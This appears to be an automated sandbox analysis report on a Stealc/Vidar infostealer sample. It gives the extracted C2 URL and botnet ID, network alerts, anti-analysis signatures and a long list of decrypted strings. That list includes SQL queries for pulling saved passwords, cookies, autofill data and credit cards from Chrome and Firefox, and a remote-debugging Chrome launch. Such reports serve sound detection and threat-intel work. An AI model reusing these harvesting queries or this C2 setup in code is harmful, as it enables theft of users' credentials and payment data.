Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546269
MD5:	06de33dbf96b822dc0b8eb476e56dc45
SHA1:	171d765f7d9146d7a786fa570c46c04d2b864fce
SHA256:	079409361dc52a9441fda92ac86af5bd1976a13c7ecc1d695f27b46fc14073f5
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 06DE33DBF96B822DC0B8EB476E56DC45)

chrome.exe (PID: 7672 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2204,i,6037110496372164923,5542102993344952383,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2055685858.0000000000441000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1693152043.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7432	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7432	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.440000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7432, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7672, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:18.582472+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49746	TCP
2024-10-31T17:26:56.991859+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	62833	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:04.846232+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:04.828261+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:05.124120+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:06.237283+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:05.141021+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:04.545186+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T17:26:06.804163+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-31T17:26:24.704753+0100	2803304	3	Unknown Traffic	192.168.2.4	62829	185.215.113.206	80	TCP
2024-10-31T17:26:28.073752+0100	2803304	3	Unknown Traffic	192.168.2.4	62829	185.215.113.206	80	TCP
2024-10-31T17:26:30.019962+0100	2803304	3	Unknown Traffic	192.168.2.4	62829	185.215.113.206	80	TCP
2024-10-31T17:26:31.048817+0100	2803304	3	Unknown Traffic	192.168.2.4	62829	185.215.113.206	80	TCP
2024-10-31T17:26:33.090048+0100	2803304	3	Unknown Traffic	192.168.2.4	62829	185.215.113.206	80	TCP
2024-10-31T17:26:33.573669+0100	2803304	3	Unknown Traffic	192.168.2.4	62829	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.440000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.440000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.440000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.440000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.440000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.440000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.440000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.440000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.440000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.440000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.440000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.440000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.440000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.440000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.440000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.440000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.440000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.440000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.440000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.440000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.440000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.440000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.440000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.440000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.440000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.440000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.440000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.440000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.440000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.440000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.440000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.440000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.440000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.440000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.440000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.440000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.440000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.440000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.440000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.440000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.440000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.440000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.440000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.440000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.440000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.440000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.440000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.440000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.440000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.440000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.440000.0.unpack	String decryptor: history
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.440000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.440000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.440000.0.unpack	String decryptor: History
Source: 0.2.file.exe.440000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.440000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.440000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.440000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.440000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.440000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.440000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.440000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.440000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.440000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.440000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.440000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.440000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.440000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.440000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.440000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.440000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.440000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.440000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.440000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.440000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.440000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.440000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.440000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.440000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.440000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.440000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.440000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.440000.0.unpack	String decryptor: - Computer Name:
